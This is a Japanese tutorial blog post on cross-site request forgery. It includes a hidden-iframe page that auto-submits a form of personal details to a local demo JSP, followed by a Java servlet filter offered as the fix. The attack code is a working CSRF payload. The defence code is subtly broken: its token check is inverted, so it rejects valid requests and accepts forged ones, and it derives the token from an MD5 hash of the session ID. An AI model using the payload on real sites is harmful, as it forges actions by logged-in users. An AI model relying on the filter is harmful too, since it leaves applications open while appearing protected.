クロスサイトリクエストフォージェリ

クロスサイトリクエストフォージェリとは?

Cross Site Request Forgeries
Forgery:偽もの
悪意を持って作成したサイトに攻撃用スクリプトを仕込んでおき、
訪問者に対して、訪問者が意図しない操作をさせる攻撃

csrf
・ 悪意あるページはiframe(サイズ:1×1px)で隠しページを読み込み
・ 隠しページはtrue_site.jspへ、名前や電話番号等のパラメータをPOSTする処理を含む
・ 悪意あるページを表示したユーザは、気づかずにtrue_site.jspへ名前や電話番号を入力されてしまう
・ true_site.jspが認証が必要なサイトであった場合でも、
ログイン後、ログオフする前にこの攻撃を受けると(forgery.htmlを閲覧すると)、
認証をすり抜け、認証が必要なサイトに対して意図せず行ってしまう。

攻撃方法例

※悪意あるページ(forgery.html)
<html>
<body>
 <!-- 訪問者に見せる画面 -->
 <p>welcome</p>
 

 <!-- 訪問者に見せない(悪意ある隠しコード) -->
 <iframe src="hide_submit.html" style="width:1px; height:1px"></iframe>
</body>
</html>

※隠しページ(hide_submit.html)
<html>

<body onload="document.myform.submit()">
 <form
  name="myform"
  method="POST"
  action="http://localhost:8080/myservlet/myPack/true_site.jsp">
  
  <!-- ↓項目が↑サイトへ自動的にPOSTされる -->
  <input type="hidden" name="name" value="株式会社米良太事務所" />
  <input type="hidden" name="address" value="兵庫県西宮市" />
  <input type="hidden" name="tel" value="050-3695-5892" />
  <input type="hidden" name="email" value="yone@office-yone.com" />
 </form>
</body>
</html>

対策

csrf

@WebFilter("/*")
public class CSRF {
 public class CsrfFilter implements Filter {
  @Override
  public void doFilter(
   ServletRequest req,
   ServletResponse res,
   FilterChain chain) throws IOException, ServletException {
   
   HttpServletRequest request = (HttpServletRequest)req;
   
   if (request.getMethod().equals("GET")){
    // GET要求時 → トークン生成
    createToken(request);
   }else{
    // POST要求時
    if (isSameToken(request))
     throw new ServletException("不正なアクセス");
   }
    
   chain.doFilter(req, res);
  }
  
  // POSTされたトークンとサーバで保持しているトークンをチェック
  private boolean isSameToken(HttpServletRequest request) {
   
   HttpSession session = request.getSession();
   
   String s_token = (String)session.getAttribute("token");
   String r_token = request.getParameter("token");
   
   // トークン無し時 = 不正
   if (s_token == null ||
    r_token == null ||
    r_token.isEmpty()){
    return false;
   }
   
   // 一致(true) or 不一致(false)
   return s_token.equals(r_token);   
  }
  
  // トークンを生成
  private void createToken(HttpServletRequest reqest) {
  
   MessageDigest md = null;
   HttpSession session = reqest.getSession();
   
   // セッションIDを元にハッシュ値を生成
   md = MessageDigest.getInstance("MD5");
   md.update(session.getId().getBytes());
   
   // バイトデータ → 16進数 & セッション属性に格納
   session.setAttribute("token", to16(md.digest()));
  }
 }
}

参考

コメントを残す

メールアドレスが公開されることはありません。